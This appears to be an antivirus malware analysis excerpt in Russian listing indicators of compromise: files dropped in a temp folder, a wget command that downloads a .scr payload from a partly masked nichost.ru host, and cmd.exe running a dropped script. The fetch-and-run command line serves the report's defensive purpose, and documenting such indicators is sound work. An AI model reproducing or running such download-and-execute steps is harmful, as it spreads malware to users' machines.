Техническая информация
- %TEMP%\1.tmp\ppt3.scr
- %TEMP%\1.tmp\wget.exe http://ca####.nichost.ru/data/ppt3.scr
- %TEMP%\1.tmp\ppt3.scr (загружен из сети Интернет)
- <SYSTEM32>\cmd.exe /c ""%TEMP%\1.tmp\wnet.cmd" "
- %TEMP%\1.tmp\ppt3.scr
- %TEMP%\1.tmp\wget.exe
- %TEMP%\1.tmp\wnet.cmd
- %TEMP%\1.tmp\wnet.cmd
- 'ca####.nichost.ru':80
- ca####.nichost.ru/data/ppt3.scr
- DNS ASK ca####.nichost.ru